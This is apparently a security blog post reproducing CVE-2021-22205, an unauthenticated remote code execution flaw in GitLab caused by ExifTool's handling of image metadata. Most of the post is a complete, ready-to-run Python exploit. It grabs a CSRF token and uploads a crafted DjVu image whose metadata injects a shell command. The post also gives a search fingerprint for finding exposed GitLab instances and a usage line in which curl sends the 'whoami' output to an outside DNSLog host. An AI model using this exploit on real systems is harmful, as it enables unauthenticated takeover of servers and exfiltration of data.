← Back to all posts
Web Vulnerability Reproduction and Analysis2 min read

GitLab Remote Code Execution (RCE) Vulnerability CVE-2021-22205 with Exploit

GitLab versions after 11.9 use the ExifTool image-processing utility, which is affected by CVE-2021-22204. An attacker can exploit an unauthenticated upload endpoint to submit a maliciously crafted image and achieve remote code execution.

#Python#security#vulnerability#GitLab
Read in Chinese→

0x01 Vulnerability Introduction & Technical Details

GitLab is an open-source repository management system developed by GitLab Inc. It is a Git project management platform written in Ruby. GitLab versions after 11.9 use the ExifTool image-processing utility, which is affected by CVE-2021-22204:

The vulnerability is triggered in ExifTool, an open-source tool used to remove metadata from images. When parsing metadata in uploaded images, ExifTool fails to fully parse certain metadata, allowing an attacker to upload an image containing malicious metadata and thereby achieve remote command execution.

An attacker can upload a maliciously crafted image through an unauthenticated endpoint, allowing the vulnerability to be exploited for RCE without authentication.

0x02 Affected Versions

Gitlab CE/EE < 13.10.3
Gitlab CE/EE < 13.9.6
Gitlab CE/EE < 13.8.8

0x03 Vulnerability Detection

Home page

http://127.0.0.1/users/sign_in

image-20211031101923873

FOFA指纹:title="GitLab"

The exploit code is included at the end; simply run it directly.

python3 CVE-2021-22205.py -u http://12.0.0.1:8080 -c "curl \`whoami\`.7kwtfs.dnslog.cn"

I used DNSLog for detection. In a completely internal network environment, you can also test it by connecting back to your own HTTP service.

image-20211031134306084

0x04 Remediation Recommendations

  • Upgrade to the latest version
  • Official link:
https://about.gitlab.com/update/

Exploit Code

import sys
import requests
import argparse
from bs4 import BeautifulSoup

requests.packages.urllib3.disable_warnings()

def title():
    print('''
        GitLab < 13.10.3 RCE
        python3 CVE-2021-22205.py -u target_url -c command 
        ''')    

def exp(target_url,command):
    session = requests.Session()
    try:
        req_token = session.get(target_url.strip("/") + "/users/sign_in", verify=False)
        soup = BeautifulSoup(req_token.text, features="lxml")
        token = soup.findAll('meta')[16].get("content")
        data = "\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.jpg\"\r\nContent-Type: image/jpeg\r\n\r\nAT&TFORM\x00\x00\x03\xafDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00\x00\xac\xff\xff\xde\xbf\x99 !\xc8\x91N\xeb\x0c\x07\x1f\xd2\xda\x88\xe8k\xe6D\x0f,q\x02\xeeI\xd3n\x95\xbd\xa2\xc3\"?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\n\x00\x08\x00\x08\x18\x00d\x00\x16\x00INCL\x00\x00\x00\x0fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\x00\x08\x00\x08\x8a\xe6\xe1\xb17\xd9*\x89\x00BG44\x00\x00\x00\x04\x01\x0f\xf9\x9fBG44\x00\x00\x00\x02\x02\nFORM\x00\x00\x03\x07DJVIANTa\x00\x00\x01P(metadata\n\t(Copyright \"\\\n\" . qx{"+  command +"} . \\\n\" b \") )                                                                                                                                                                                                                                                                                                                                                                                                                                     \n\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5--\r\n\r\n"
        headers = {
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
            "Connection": "close",
            "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5",
            "X-CSRF-Token": f"{token}", "Accept-Encoding": "gzip, deflate"}
        flag = 'Failed to process image'
        req_exp = session.post(target_url.strip("/") + "/uploads/user", data=data, headers=headers, verify=False)
        if flag in req_exp.text:
            print("{} 存在漏洞,CMD执行成功".format(target_url))
        else:
            print("{} 不存在漏洞".format(target_url))
    except Exception as e:
        print(e)

def format_url(url):
    try:
        if url[:4] != "http":
            url = "https://" + url
            url = url.strip()
        return url
    except Exception as e:
        print('URL.error{0}'.format(url))    

def run():
    title()
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', '--url', type=str, help='url')
    parser.add_argument('-c', '--command', type=str, help='cmd')
    args = parser.parse_args()
    target_url = args.url
    command = args.command

    if target_url != None and command != None:
        exp(target_url,command)
    else:
        sys.exit(0)   

if __name__ == '__main__':
    run()